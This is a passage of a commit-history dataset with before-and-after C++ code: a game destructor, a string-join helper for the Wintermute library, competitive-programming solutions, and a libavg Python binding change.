this->entityRotationRing->setAngle(angle);\n                this->heldEntity->setAngle(angle);\n            }\n        } else if (p->state == 1) {\n            if (this->entityRotationRing->isVisible()) {\n                this->entityRotationRing->setVisible(false);\n                SDL_ShowCursor(true);\n                SDL_WarpMouseGlobal(this->mouseLockX, this->mouseLockY);\n            }\n        }\n    }\n}\n\nGame::~Game() {\n    SDL_StopTextInput();\n    delete this->core;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Wintermute - A foundation for intelligent computing.\n    Copyright (c) 2010 - 2015 by Jacky Alcine\n\n    Wintermute is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 3 of the License, or (at your option) any later version.\n\n    Wintermute is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with Wintermute; if not, write to the\n    Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n\n#ifndef WINTERMUTE_CORE_UTIL_HH_\n# define WINTERMUTE_CORE_UTIL_HH_\n\n#include <list>\n#include <regex>\n#include <string>\n#include <algorithm>\n#include <iterator>\n\nusing std::list;\nusing std::regex;\nusing std::string;\nusing std::copy;\nusing std::sregex_token_iterator;\nusing std::back_inserter;\n\nnamespace Wintermute\n{\nnamespace Util\n{\n  inline list<string> split_string(const string& str, const regex& delim)\n  {\n    list<string> tokens;\n    copy ( sregex_token_iterator(str.begin(), str.end(), delim, -1),\n           sregex_token_iterator(),\n           back_inserter(tokens) );\n\n    return tokens;\n  }\n}\n}\n\n#endif\n<commit_msg>core: Add helper to join strings.<commit_after>\/*\n    Wintermute - A foundation for intelligent computing.\n    Copyright (c) 2010 - 2015 by Jacky Alcine\n\n    Wintermute is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 3 of the License, or (at your option) any later version.\n\n    Wintermute is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with Wintermute; if not, write to the\n    Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n\n#ifndef WINTERMUTE_CORE_UTIL_HH_\n# define WINTERMUTE_CORE_UTIL_HH_\n\n#include <list>\n#include <regex>\n#include <string>\n#include <algorithm>\n#include <iterator>\n\nusing std::list;\nusing std::regex;\nusing std::string;\nusing std::copy;\nusing std::sregex_token_iterator;\nusing std::back_inserter;\n\nnamespace Wintermute\n{\nnamespace Util\n{\n  inline list<string> split_string(const string& str, const regex& delim)\n  {\n    list<string> tokens;\n    copy ( sregex_token_iterator(str.begin(), str.end(), delim, -1),\n           sregex_token_iterator(),\n           back_inserter(tokens) );\n\n    return tokens;\n  }\n\n  inline string join_string(const list<string>& tokens, const string& delim)\n  {\n    string resultingString = tokens.front();\n\n    for_each(tokens.begin()++, tokens.end(), [&](const string& token)\n    {\n      resultingString += delim + token;\n    });\n\n    return resultingString;\n  }\n}\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple> \/\/ get<n>(xxx)\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set> \/\/ S.insert(M);\n\/\/ if (S.find(key) != S.end()) { }\n\/\/ for (auto it=S.begin(); it != S.end(); it++) { }\n\/\/ auto it = S.lower_bound(M);\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib> \/\/ atoi(xxx)\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\/\/ insert #if<tab> by my emacs. #if DEBUG == 1 ... #end\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N;\nll C;\nll L[100010];\nmultiset<ll> S;\nll infty;\n\nint main () {\n  cin >> N >> C;\n  for (auto i = 0; i < N; ++i) {\n    cin >> L[i];\n    S.insert(L[i]);\n  }\n  infty = C + 10;\n  int ans = 0;\n  while (!S.empty()) {\n    auto it = S.end();\n    it--;\n    ll size = *it;\n    cerr << \"size = \" << size << endl;\n    S.erase(it);\n    ans++;\n    ll yoyu = C - size - 1;\n    cerr << \"yoyu = \" << yoyu << endl;\n    if (yoyu > 0 && !S.empty()) {\n      auto itt = S.lower_bound(yoyu);\n      cerr << \"itt = \" << *itt << endl;\n      if (itt == S.begin()) {\n        \/\/\n      } else {\n        itt--;\n        S.erase(itt);\n      }      \n    }\n  }\n  cout << ans << endl;\n}\n<commit_msg>submit C.cpp to 'C - 収納' (ddcc2017-qual) [C++14 (GCC 5.4.1)]<commit_after>#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple> \/\/ get<n>(xxx)\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set> \/\/ S.insert(M);\n\/\/ if (S.find(key) != S.end()) { }\n\/\/ for (auto it=S.begin(); it != S.end(); it++) { }\n\/\/ auto it = S.lower_bound(M);\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib> \/\/ atoi(xxx)\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\/\/ insert #if<tab> by my emacs. #if DEBUG == 1 ... #end\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N;\nll C;\nll L[100010];\nmultiset<ll> S;\nll infty;\n\nint main () {\n  cin >> N >> C;\n  for (auto i = 0; i < N; ++i) {\n    cin >> L[i];\n    S.insert(L[i]);\n  }\n  infty = C + 10;\n  int ans = 0;\n  while (!S.empty()) {\n    auto it = S.end();\n    it--;\n    ll size = *it;\n    \/\/ cerr << \"size = \" << size << endl;\n    S.erase(it);\n    ans++;\n    ll yoyu = C - size - 1;\n    \/\/ cerr << \"yoyu = \" << yoyu << endl;\n    if (yoyu > 0 && !S.empty()) {\n      auto itt = S.upper_bound(yoyu);\n      if (itt == S.begin()) {\n        \/\/\n      } else {\n        itt--;\n        \/\/ cerr << \"itt = \" << *itt << endl;\n        S.erase(itt);\n      }      \n    }\n  }\n  cout << ans << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\n#include \"WrapHelper.h\"\n\n#include \"..\/player\/KeyEvent.h\"\n#include \"..\/player\/MouseEvent.h\"\n#include \"..\/player\/TouchEvent.h\"\n#include \"..\/player\/VisibleNode.h\"\n#include \"..\/player\/TrackerEventSource.h\"\n\n#include <boost\/shared_ptr.hpp>\n#include <string>\n\nusing namespace boost::python;\nusing namespace avg;\nusing namespace std;\n\n\nclass IEventSourceWrapper : public IEventSource, public wrapper<IEventSource> {\n    public:\n        IEventSourceWrapper(const std::string& name)\n            : IEventSource(name)\n        {\n        }\n\n        IEventSourceWrapper(const IEventSource& eventSource)\n            : IEventSource(eventSource)\n        {\n        }\n\n        IEventSourceWrapper(const IEventSourceWrapper& eventSourceWrapper)\n            : IEventSource(eventSourceWrapper)\n        {\n        }\n\n        virtual void start() {\n            if (override startMethod = this->get_override(\"start\")) {\n                startMethod();\n            }\n            IEventSource::start();\n        }\n\n        void default_start() {\n            return this->IEventSource::start();\n        }\n\n        virtual std::vector<EventPtr> pollEvents() {\n            return this->get_override(\"pollEvents\")();\n        }\n\n};\n\n\nvoid export_event()\n{\n    boost::python::to_python_converter<vector<TouchEventPtr>, \n        to_tuple<vector<TouchEventPtr> > >();\n\n    boost::python::to_python_converter<ContourSeq, to_list<ContourSeq> >();    \n   \n    from_python_sequence<ContourSeq, variable_capacity_policy>();\n    from_python_sequence<vector<EventPtr>, variable_capacity_policy>();\n\n\n    class_<Event, boost::noncopyable>(\"Event\", init<Event::Type, Event::Source, optional<int> >())\n        .add_property(\"type\", &Event::getType)\n        .add_property(\"when\", &Event::getWhen)\n        .add_property(\"eventsource\",\n                      make_function(&Event::getEventSource,\n                                    return_value_policy<copy_const_reference>()))\n        .add_property(\"eventsourcename\",\n                      make_function(&Event::getEventSourceName,\n                                    return_value_policy<copy_const_reference>()))\n    ;\n\n    class_<CursorEvent, bases<Event> >(\"CursorEvent\",\n                                       init<int, Event::Type, const IntPoint&, Event::Source>())\n        .add_property(\"source\", &CursorEvent::getSource)\n        .add_property(\"pos\", &CursorEvent::getPos)\n        .add_property(\"x\", &CursorEvent::getXPosition)\n        .add_property(\"y\", &CursorEvent::getYPosition)\n        .add_property(\"cursorid\", &CursorEvent::getCursorID, &CursorEvent::setCursorID)\n        .add_property(\"node\", &CursorEvent::getElement)\n    ;\n\n    enum_<Event::Type>(\"Type\")\n        .value(\"KEYUP\", Event::KEYUP)\n        .value(\"KEYDOWN\", Event::KEYDOWN)\n        .value(\"CURSORMOTION\", Event::CURSORMOTION)\n        .value(\"CURSORUP\", Event::CURSORUP)\n        .value(\"CURSORDOWN\", Event::CURSORDOWN)\n        .value(\"CURSOROVER\", Event::CURSOROVER)\n        .value(\"CURSOROUT\", Event::CURSOROUT)\n        .value(\"CUSTOMEVENT\", Event::CUSTOMEVENT)\n        .value(\"RESIZE\", Event::RESIZE)\n        .value(\"QUIT\", Event::QUIT)\n        .export_values()\n    ;\n\n    enum_<CursorEvent::Source>(\"Source\")\n        .value(\"MOUSE\", CursorEvent::MOUSE)\n        .value(\"TOUCH\", CursorEvent::TOUCH)\n        .value(\"TRACK\", CursorEvent::TRACK)\n        .value(\"CUSTOM\", Event::CUSTOM)\n        .value(\"NONE\", Event::NONE)\n        .export_values()\n    ;\n\n    enum_<int>(\"KeyModifier\")\n        .value(\"KEYMOD_NONE\", key::KEYMOD_NONE)\n        .value(\"KEYMOD_LSHIFT\", key::KEYMOD_LSHIFT)\n        .value(\"KEYMOD_RSHIFT\", key::KEYMOD_RSHIFT)\n        .value(\"KEYMOD_LCTRL\", key::KEYMOD_LCTRL)\n        .value(\"KEYMOD_RCTRL\", key::KEYMOD_RCTRL)\n        .value(\"KEYMOD_LALT\", key::KEYMOD_LALT)\n        .value(\"KEYMOD_RALT\", key::KEYMOD_RALT)\n        .value(\"KEYMOD_LMETA\", key::KEYMOD_LMETA)\n        .value(\"KEYMOD_RMETA\", key::KEYMOD_RMETA)\n        .value(\"KEYMOD_NUM\", key::KEYMOD_NUM)\n        .value(\"KEYMOD_CAPS\", key::KEYMOD_CAPS)\n        .value(\"KEYMOD_MODE\", key::KEYMOD_MODE)\n        .value(\"KEYMOD_RESERVED\", key::KEYMOD_RESERVED)\n        .value(\"KEYMOD_CTRL\", key::KEYMOD_CTRL)\n        .value(\"KEYMOD_SHIFT\", key::KEYMOD_SHIFT)\n        .value(\"KEYMOD_ALT\", key::KEYMOD_ALT)\n        .value(\"KEYMOD_META\", key::KEYMOD_META)\n        .export_values()\n    ;\n\n    class_<KeyEvent, bases<Event> >(\"KeyEvent\", no_init)\n        .add_property(\"scancode\", &KeyEvent::getScanCode)\n        .add_property(\"keycode\", &KeyEvent::getKeyCode)\n        .add_property(\"keystring\", make_function(&KeyEvent::getKeyString, \n                return_value_policy<copy_const_reference>()))\n        .add_property(\"unicode\", &KeyEvent::getUnicode)\n        .add_property(\"modifiers\", &KeyEvent::getModifiers)\n    ;    \n    \n    class_<MouseEvent, bases<Event> >(\"MouseEvent\", no_init)\n        .add_property(\"source\", &MouseEvent::getSource)\n        .add_property(\"leftbuttonstate\", &MouseEvent::getLeftButtonState)\n        .add_property(\"middlebuttonstate\", &MouseEvent::getMiddleButtonState)\n        .add_property(\"rightbuttonstate\", &MouseEvent::getRightButtonState)\n        .add_property(\"pos\", &MouseEvent::getPos)\n        .add_property(\"x\", &MouseEvent::getXPosition)\n        .add_property(\"y\", &MouseEvent::getYPosition)\n        .add_property(\"cursorid\", &MouseEvent::getCursorID)\n        .add_property(\"button\", &MouseEvent::getButton)\n        .add_property(\"node\", &MouseEvent::getElement)\n        .add_property(\"speed\", make_function(&MouseEvent::getSpeed,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"lastdownpos\", &CursorEvent::getLastDownPos)\n    ;\n\n    class_<TouchEvent, bases<Event> >(\"TouchEvent\", no_init)\n        .add_property(\"source\", &TouchEvent::getSource)\n        .add_property(\"area\", &TouchEvent::getArea)\n        .add_property(\"orientation\", &TouchEvent::getOrientation)\n        .add_property(\"eccentricity\", &TouchEvent::getEccentricity)\n        .add_property(\"pos\", &TouchEvent::getPos)\n        .add_property(\"x\", &TouchEvent::getXPosition)\n        .add_property(\"y\", &TouchEvent::getYPosition)\n        .add_property(\"cursorid\", &TouchEvent::getCursorID)\n        .add_property(\"node\", &TouchEvent::getElement)\n        .add_property(\"center\", make_function(&TouchEvent::getCenter,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"majoraxis\", make_function(&TouchEvent::getMajorAxis,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"minoraxis\", make_function(&TouchEvent::getMinorAxis,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"speed\", make_function(&TouchEvent::getSpeed,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"handorientation\", &TouchEvent::getHandOrientation)\n        .def(\"getRelatedEvents\", &TouchEvent::getRelatedEvents)\n        .def(\"getContour\", &TouchEvent::getContour)\n        .add_property(\"lastdownpos\", &CursorEvent::getLastDownPos)\n        ;\n   \n    enum_<TrackerImageID>(\"TrackerImageID\")\n        .value(\"IMG_CAMERA\", TRACKER_IMG_CAMERA)\n        .value(\"IMG_DISTORTED\", TRACKER_IMG_DISTORTED)\n        .value(\"IMG_NOHISTORY\", TRACKER_IMG_NOHISTORY)\n        .value(\"IMG_HISTOGRAM\", TRACKER_IMG_HISTOGRAM)\n        .value(\"IMG_FINGERS\", TRACKER_IMG_FINGERS)\n        .value(\"IMG_HIGHPASS\", TRACKER_IMG_HIGHPASS)\n        .export_values()\n    ;\n\n    class_<IEventSourcePtr>(\"IEventSource\")\n    ;\n\n    class_<IEventSourceWrapper, boost::shared_ptr<IEventSourceWrapper> >(\"EventSource\", init<const std::string&>())\n        .def(\"start\", &IEventSource::start, &IEventSourceWrapper::default_start)\n        .def(\"pollEvents\", pure_virtual(&IEventSource::pollEvents))\n        .add_property(\"name\",\n                      make_function(&IEventSource::getName,\n                                    return_value_policy<copy_const_reference>()))\n    ;\n\n    class_<TrackerEventSource, boost::noncopyable>(\"Tracker\", no_init)\n        .def(\"getImage\", &TrackerEventSource::getImage,\n            return_value_policy<manage_new_object>())\n        .def(\"getDisplayROIPos\", &TrackerEventSource::getDisplayROIPos)\n        .def(\"getDisplayROISize\", &TrackerEventSource::getDisplayROISize)\n        .def(\"saveConfig\", &TrackerEventSource::saveConfig)\n        .def(\"resetHistory\", &TrackerEventSource::resetHistory)\n        .def(\"setDebugImages\", &TrackerEventSource::setDebugImages)\n        .def(\"startCalibration\", &TrackerEventSource::startCalibration,\n            return_value_policy<reference_existing_object>())\n        .def(\"endCalibration\", &TrackerEventSource::endCalibration)\n        .def(\"abortCalibration\", &TrackerEventSource::abortCalibration)\n        .def(\"setParam\", &TrackerEventSource::setParam)\n        .def(\"getParam\", &TrackerEventSource::getParam)\n    ;\n\n    class_<TrackerCalibrator, boost::noncopyable>(\"TrackerCalibrator\", no_init)\n        .def(\"nextPoint\", &TrackerCalibrator::nextPoint)\n        .def(\"getDisplayPoint\", &TrackerCalibrator::getDisplayPoint)\n        .def(\"setCamPoint\", &TrackerCalibrator::setCamPoint)\n    ;\n}\n<commit_msg>preliminary python export of Event::setEventSource<commit_after>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\n#include \"WrapHelper.h\"\n\n#include \"..\/player\/KeyEvent.h\"\n#include \"..\/player\/MouseEvent.h\"\n#include \"..\/player\/TouchEvent.h\"\n#include \"..\/player\/VisibleNode.h\"\n#include \"..\/player\/TrackerEventSource.h\"\n\n#include <boost\/shared_ptr.hpp>\n#include <string>\n\nusing namespace boost::python;\nusing namespace avg;\nusing namespace std;\n\n\nclass IEventSourceWrapper : public IEventSource, public wrapper<IEventSource> {\n    public:\n        IEventSourceWrapper(const std::string& name)\n            : IEventSource(name)\n        {\n        }\n\n        IEventSourceWrapper(const IEventSource& eventSource)\n            : IEventSource(eventSource)\n        {\n        }\n\n        IEventSourceWrapper(const IEventSourceWrapper& eventSourceWrapper)\n            : IEventSource(eventSourceWrapper)\n        {\n        }\n\n        virtual void start() {\n            if (override startMethod = this->get_override(\"start\")) {\n                startMethod();\n            }\n            IEventSource::start();\n        }\n\n        void default_start() {\n            return this->IEventSource::start();\n        }\n\n        virtual std::vector<EventPtr> pollEvents() {\n            return this->get_override(\"pollEvents\")();\n        }\n\n};\n\n\nvoid export_event()\n{\n    boost::python::to_python_converter<vector<TouchEventPtr>, \n        to_tuple<vector<TouchEventPtr> > >();\n\n    boost::python::to_python_converter<ContourSeq, to_list<ContourSeq> >();    \n   \n    from_python_sequence<ContourSeq, variable_capacity_policy>();\n    from_python_sequence<vector<EventPtr>, variable_capacity_policy>();\n\n\n    class_<Event, boost::noncopyable>(\"Event\", init<Event::Type, Event::Source, optional<int> >())\n        .add_property(\"type\", &Event::getType)\n        .add_property(\"when\", &Event::getWhen)\n        .add_property(\"eventsource\",\n                      make_function(&Event::getEventSource,\n                                    return_value_policy<copy_const_reference>()),\n                      &Event::setEventSource)\n        .add_property(\"eventsourcename\",\n                      make_function(&Event::getEventSourceName,\n                                    return_value_policy<copy_const_reference>()))\n    ;\n\n    class_<CursorEvent, bases<Event> >(\"CursorEvent\",\n                                       init<int, Event::Type, const IntPoint&, Event::Source>())\n        .add_property(\"source\", &CursorEvent::getSource)\n        .add_property(\"pos\", &CursorEvent::getPos)\n        .add_property(\"x\", &CursorEvent::getXPosition)\n        .add_property(\"y\", &CursorEvent::getYPosition)\n        .add_property(\"cursorid\", &CursorEvent::getCursorID, &CursorEvent::setCursorID)\n        .add_property(\"node\", &CursorEvent::getElement)\n    ;\n\n    enum_<Event::Type>(\"Type\")\n        .value(\"KEYUP\", Event::KEYUP)\n        .value(\"KEYDOWN\", Event::KEYDOWN)\n        .value(\"CURSORMOTION\", Event::CURSORMOTION)\n        .value(\"CURSORUP\", Event::CURSORUP)\n        .value(\"CURSORDOWN\", Event::CURSORDOWN)\n        .value(\"CURSOROVER\", Event::CURSOROVER)\n        .value(\"CURSOROUT\", Event::CURSOROUT)\n        .value(\"CUSTOMEVENT\", Event::CUSTOMEVENT)\n        .value(\"RESIZE\", Event::RESIZE)\n        .value(\"QUIT\", Event::QUIT)\n        .export_values()\n    ;\n\n    enum_<CursorEvent::Source>(\"Source\")\n        .value(\"MOUSE\", CursorEvent::MOUSE)\n        .value(\"TOUCH\", CursorEvent::TOUCH)\n        .value(\"TRACK\", CursorEvent::TRACK)\n        .value(\"CUSTOM\", Event::CUSTOM)\n        .value(\"NONE\", Event::NONE)\n        .export_values()\n    ;\n\n    enum_<int>(\"KeyModifier\")\n        .value(\"KEYMOD_NONE\", key::KEYMOD_NONE)\n        .value(\"KEYMOD_LSHIFT\", key::KEYMOD_LSHIFT)\n        .value(\"KEYMOD_RSHIFT\", key::KEYMOD_RSHIFT)\n        .value(\"KEYMOD_LCTRL\", key::KEYMOD_LCTRL)\n        .value(\"KEYMOD_RCTRL\", key::KEYMOD_RCTRL)\n        .value(\"KEYMOD_LALT\", key::KEYMOD_LALT)\n        .value(\"KEYMOD_RALT\", key::KEYMOD_RALT)\n        .value(\"KEYMOD_LMETA\", key::KEYMOD_LMETA)\n        .value(\"KEYMOD_RMETA\", key::KEYMOD_RMETA)\n        .value(\"KEYMOD_NUM\", key::KEYMOD_NUM)\n        .value(\"KEYMOD_CAPS\", key::KEYMOD_CAPS)\n        .value(\"KEYMOD_MODE\", key::KEYMOD_MODE)\n        .value(\"KEYMOD_RESERVED\", key::KEYMOD_RESERVED)\n        .value(\"KEYMOD_CTRL\", key::KEYMOD_CTRL)\n        .value(\"KEYMOD_SHIFT\", key::KEYMOD_SHIFT)\n        .value(\"KEYMOD_ALT\", key::KEYMOD_ALT)\n        .value(\"KEYMOD_META\", key::KEYMOD_META)\n        .export_values()\n    ;\n\n    class_<KeyEvent, bases<Event> >(\"KeyEvent\", no_init)\n        .add_property(\"scancode\", &KeyEvent::getScanCode)\n        .add_property(\"keycode\", &KeyEvent::getKeyCode)\n        .add_property(\"keystring\", make_function(&KeyEvent::getKeyString, \n                return_value_policy<copy_const_reference>()))\n        .add_property(\"unicode\", &KeyEvent::getUnicode)\n        .add_property(\"modifiers\", &KeyEvent::getModifiers)\n    ;    \n    \n    class_<MouseEvent, bases<Event> >(\"MouseEvent\", no_init)\n        .add_property(\"source\", &MouseEvent::getSource)\n        .add_property(\"leftbuttonstate\", &MouseEvent::getLeftButtonState)\n        .add_property(\"middlebuttonstate\", &MouseEvent::getMiddleButtonState)\n        .add_property(\"rightbuttonstate\", &MouseEvent::getRightButtonState)\n        .add_property(\"pos\", &MouseEvent::getPos)\n        .add_property(\"x\", &MouseEvent::getXPosition)\n        .add_property(\"y\", &MouseEvent::getYPosition)\n        .add_property(\"cursorid\", &MouseEvent::getCursorID)\n        .add_property(\"button\", &MouseEvent::getButton)\n        .add_property(\"node\", &MouseEvent::getElement)\n        .add_property(\"speed\", make_function(&MouseEvent::getSpeed,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"lastdownpos\", &CursorEvent::getLastDownPos)\n    ;\n\n    class_<TouchEvent, bases<Event> >(\"TouchEvent\", no_init)\n        .add_property(\"source\", &TouchEvent::getSource)\n        .add_property(\"area\", &TouchEvent::getArea)\n        .add_property(\"orientation\", &TouchEvent::getOrientation)\n        .add_property(\"eccentricity\", &TouchEvent::getEccentricity)\n        .add_property(\"pos\", &TouchEvent::getPos)\n        .add_property(\"x\", &TouchEvent::getXPosition)\n        .add_property(\"y\", &TouchEvent::getYPosition)\n        .add_property(\"cursorid\", &TouchEvent::getCursorID)\n        .add_property(\"node\", &TouchEvent::getElement)\n        .add_property(\"center\", make_function(&TouchEvent::getCenter,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"majoraxis\", make_function(&TouchEvent::getMajorAxis,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"minoraxis\", make_function(&TouchEvent::getMinorAxis,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"speed\", make_function(&TouchEvent::getSpeed,\n                return_value_policy<copy_const_reference>()))\n        .add_property(\"handorientation\", &TouchEvent::getHandOrientation)\n        .def(\"getRelatedEvents\", &TouchEvent::getRelatedEvents)\n        .def(\"getContour\", &TouchEvent::getContour)\n        .add_property(\"lastdownpos\", &CursorEvent::getLastDownPos)\n        ;\n   \n    enum_<TrackerImageID>(\"TrackerImageID\")\n        .value(\"IMG_CAMERA\", TRACKER_IMG_CAMERA)\n        .value(\"IMG_DISTORTED\", TRACKER_IMG_DISTORTED)\n        .value(\"IMG_NOHISTORY\", TRACKER_IMG_NOHISTORY)\n        .value(\"IMG_HISTOGRAM\", TRACKER_IMG_HISTOGRAM)\n        .value(\"IMG_FINGERS\", TRACKER_IMG_FINGERS)\n        .value(\"IMG_HIGHPASS\", TRACKER_IMG_HIGHPASS)\n        .export_values()\n    ;\n\n    class_<IEventSourcePtr>(\"IEventSource\")\n    ;\n\n    class_<IEventSourceWrapper, boost::shared_ptr<IEventSourceWrapper> >(\"EventSource\", init<const std::string&>())\n        .def(\"start\", &IEventSource::start, &IEventSourceWrapper::default_start)\n        .def(\"pollEvents\", pure_virtual(&IEventSource::pollEvents))\n        .add_property(\"name\",\n                      make_function(&IEventSource::getName,\n                                    return_value_policy<copy_const_reference>()))\n    ;\n\n    class_<TrackerEventSource, boost::noncopyable>(\"Tracker\", no_init)\n        .def(\"getImage\", &TrackerEventSource::getImage,\n            return_value_policy<manage_new_object>())\n        .def(\"getDisplayROIPos\", &TrackerEventSource::getDisplayROIPos)\n        .def(\"getDisplayROISize\", &TrackerEventSource::getDisplayROISize)\n        .def(\"saveConfig\", &TrackerEventSource::saveConfig)\n        .def(\"resetHistory\", &TrackerEventSource::resetHistory)\n        .def(\"setDebugImages\", &TrackerEventSource::setDebugImages)\n        .def(\"startCalibration\", &TrackerEventSource::startCalibration,\n            return_value_policy<reference_existing_object>())\n        .def(\"endCalibration\", &TrackerEventSource::endCalibration)\n        .def(\"abortCalibration\", &TrackerEventSource::abortCalibration)\n        .def(\"setParam\", &TrackerEventSource::setParam)\n        .def(\"getParam\", &TrackerEventSource::getParam)\n    ;\n\n    class_<TrackerCalibrator, boost::noncopyable>(\"TrackerCalibrator\", no_init)\n        .def(\"nextPoint\", &TrackerCalibrator::nextPoint)\n        .def(\"getDisplayPoint\", &TrackerCalibrator::getDisplayPoint)\n        .def(\"setCamPoint\", &TrackerCalibrator::setCamPoint)\n    ;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-9-30 14:19:12\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nstring C = \"\";\n\nbool que(int q) \/\/ (X\/q) が奇数なら true\n{\n  assert(q % 2 == 1);\n  cout << \"? \" << q << endl;\n  string s;\n  cin >> s;\n  return (s != C);\n}\n\nint main()\n{\n  cout << \"? 2\" << endl;\n  cin >> C;\n  int lb = 1;\n  int ub = 1000000007;\n  while (ub - lb > 2)\n  {\n    int t = (lb + ub) \/ 2;\n    if (t % 2 == 0)\n    {\n      t++;\n    }\n    if (que(t))\n    {\n      lb = t;\n    }\n    else\n    {\n      ub = t;\n    }\n  }\n  if (C == \"even\")\n  {\n    cout << lb + 1 << endl;\n  }\n  else\n  {\n    cout << \"! \" << lb << endl;\n  }\n}<commit_msg>submit D.cpp to 'D - ロストテクノロジー' (kupc2018) [C++14 (GCC 5.4.1)]<commit_after>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-9-30 14:19:12\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << 